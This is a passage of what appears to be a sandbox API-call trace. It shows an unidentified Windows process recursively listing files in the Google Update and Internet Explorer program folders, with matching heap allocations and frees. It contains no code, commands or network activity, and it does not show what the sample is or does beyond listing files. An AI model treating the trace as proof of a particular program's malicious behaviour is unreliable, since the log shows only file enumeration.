GetProcessHeap () returned 0xc10000 [0267.595] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0267.595] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download", cAlternateFileName="")) returned 1 [0267.595] GetProcessHeap () returned 0xc10000 [0267.595] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0267.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\Download\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0267.597] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.597] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 1 [0267.597] GetProcessHeap () returned 0xc10000 [0267.597] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0267.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0267.599] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.599] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0267.599] GetProcessHeap () returned 0xc10000 [0267.797] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0267.804] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.804] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0267.804] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0267.804] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0267.805] GetProcessHeap () returned 0xc10000 [0267.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.805] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0 [0267.805] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0267.805] GetProcessHeap () returned 0xc10000 [0267.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0267.805] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0 [0267.805] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0267.805] GetProcessHeap () returned 0xc10000 [0267.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0267.807] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0267.807] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1 [0267.807] GetProcessHeap () returned 0xc10000 [0267.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0267.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\Install\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0267.808] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.808] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 1 [0267.808] GetProcessHeap () returned 0xc10000 [0267.808] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0267.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.810] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.810] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0267.810] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0267.810] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.810] GetProcessHeap () returned 0xc10000 [0267.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0267.810] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0 [0267.810] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0267.810] GetProcessHeap () returned 0xc10000 [0267.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0267.811] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 0 [0267.811] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0267.811] GetProcessHeap () returned 0xc10000 [0267.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.811] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0 [0267.812] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0267.812] GetProcessHeap () returned 0xc10000 [0267.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0267.813] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0267.813] GetProcessHeap () returned 0xc10000 [0267.813] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0267.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.816] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.816] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0267.816] GetProcessHeap () returned 0xc10000 [0267.817] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0267.817] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408b2676, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x69769e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409e61df, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f3c6579, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0267.818] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0267.818] GetProcessHeap () returned 0xc10000 [0267.818] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9523afd3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9523afd3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9523afd3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie9props.propdesc", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14fb6499, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x75e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95214d68, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95214d68, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95214d68, ftLastWriteTime.dwHighDateTime=0x1d2a02a, 